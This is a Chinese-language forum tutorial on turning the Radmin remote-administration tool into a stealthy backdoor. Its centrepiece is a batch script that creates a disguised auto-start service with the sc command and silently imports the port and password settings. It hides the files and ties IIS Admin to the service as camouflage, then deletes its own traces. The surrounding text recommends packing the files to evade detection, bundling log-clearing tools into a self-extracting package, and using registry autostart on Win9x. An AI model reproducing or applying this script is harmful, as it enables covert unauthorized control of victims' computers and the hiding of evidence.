“一鍵RADMIN替換服務”我想大家也都聽說過了，但是我個人覺得那樣做了甚不完美，而且麻煩，所以敝人不才，寫了一兩點個人觀點，還請大家多指點。

    我們都知道radmin服務是通過“r_server.exe /install”這個命令來安裝的，服務名為“r_server”，顯示名稱為“Remote Administrator Service”，沒有描述，一鍵RADMIN替換服務的原理就是刪掉了系統不常用且對系統執行並無較大影響的服務後取而代之。首先將r_server.exe更名並取代原服務(即被刪掉的系統服務)所執行的exe程序檔案，再將所需的“AdmDll.dll”和“raddrv.dll”也複製進同目錄內，這裡要注意的是需要匯入的登錄檔有兩個，一個是含有埠、密碼等登錄檔資訊的檔案(radmin服務端必須的reg檔案)即登錄檔項 HKEY_LOCAL_MACHINE/SYSTEM/RAdmin ，另一個就是服務的登錄檔檔案了，所以必須得先在自己的電腦上安裝一次r_server，再匯出登錄檔項 HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/r_server 裡的內容，並修改裡面的服務名稱，描述等等資訊，但是不知道這樣做的人有沒有想過，匯入的這個服務只能應用於與你的作業系統一樣的電腦上(還得包括系統盤在內-_-!)，因為你基本上沒法修改程序檔案在登錄檔裡的路徑“ImagePath”，所以個人覺得，替換服務又麻煩又不方便，不可取。：（

    換一個角度想，有沒有辦法不安裝r_server服務，也就是說，就象灰鴿子一樣，我們能不能自定義服務名、描述和路徑來自啟動“r_server.exe”，讓它直接來取代r_server服務呢？理論上的回答與實踐後的答案都是肯定的。接下來就得看“SC.exe”的了。SC是一款非常強大的服務管理程式，它和net.exe在用法上有著相似的地方，在XP和2003是自帶SC.exe的，大家可以試一下在cmd下輸入SC回車後，會出現很多有關與服務相關的內容，這也就是SC的強大之處了。

    下邊就是我用SC和BAT的聯合起來編的一段程式碼，可以完全取代r_server服務了，做到真正完美的個人版RADMIN。
——————CODE START——————
@echo off
@REM 隱藏執行步驟

@sc stop r_server
@REM 停止“r_server”服務(防止此電腦上已經有人裝過radmin)
@sc delete r_server
@REM 刪除“r_server”服務(ps:從來不知道情面是什麼做的-_-!)

@regedit /s radmin.reg
@REM 以隱藏方式匯入配置好的radmin埠，密碼等登錄檔資訊。

@sc create NEWservice binpath= "%systemroot%/system32/XXX.exe /service" type= own type= interact start= auto
@REM 在本地計算機上，建立一個自動執行的“NEWservice”服務，執行在“XXX.exe”的獨立程序上，並允許此服務與桌面互動(radmin桌面控制的一個重要因素噢^_^)。

@sc config NEWservice DisplayName= NEWservice123
@REM 配置“NEWservice”服務的顯示名稱為“NEWservice123”。

@sc description NEWservice NEWservice456
@REM 更改“NEWservice”服務的描述為“NEWservice456”。

@sc config IISADMIN depend= NEWservice
@REM 讓“IISADMIN(IIS Admin Service)”服務依存於“NEWservice”服務(ps:這樣做無非一來為保險，二來還可以以假亂真：）)

@attrib +h +r XXX.exe
@attrib +h +r AdmDll.dll
@attrib +h +r raddrv.dll
@REM 分別給以上三個檔案加上隱藏和只讀屬性。

@sc start NEWservice
@REM 開始“NEWservice”服務。

@del radmin.reg
@del sc.exe
@del 自解壓包.exe
@REM 這裡就不需要解釋了吧？
——————CODE END——————

(注：1.“XXX.exe”為原radmin目錄裡的“r_server.exe”檔案，可隨意更名。2.可以將以上“@REM 文字”之類的解釋語去掉，不去掉也不會顯示在DOS執行窗口裡邊^_^。3.“%SystemDrive%/”代表系統盤， “%SystemRoot%/System32”代表系統盤下WINDOWS或WINNT目錄下的SYSTEM32目錄，“%SystemRoot%/”代表系統盤WINDOWS或WINNT目錄。)

這樣做出來的服務端如果執行在NT、XP、2003上應該是比較完美的了，如果安裝WIN9X上，大家也可以也可以試著從登錄檔啟動(建議最好做個WIN9X專用的服務端，免得服務沒被發現，卻在登錄檔啟動項裡發現了，偷雞不成蝕把米-_-!)，相關文章可以借鑑一下《Windows的自啟動方式》：http://www.3800cc.com/info/1698.htm
建議大家不要把壓縮包做得太大，500K以上的話就沒必要了，儘量的給一些EXE和DLL檔案加上壓縮殼，可以在壓縮包里加入一些其他的小工具，比如清除日誌之類的等等，看大家怎麼樣去靈活運用了。
建議大家使用“RADMIN3.2影子版免安裝版”，無論是使用或者測試都比較方便。下載地址：http://www.3800cc.com/soft/3897.htm

[原稿]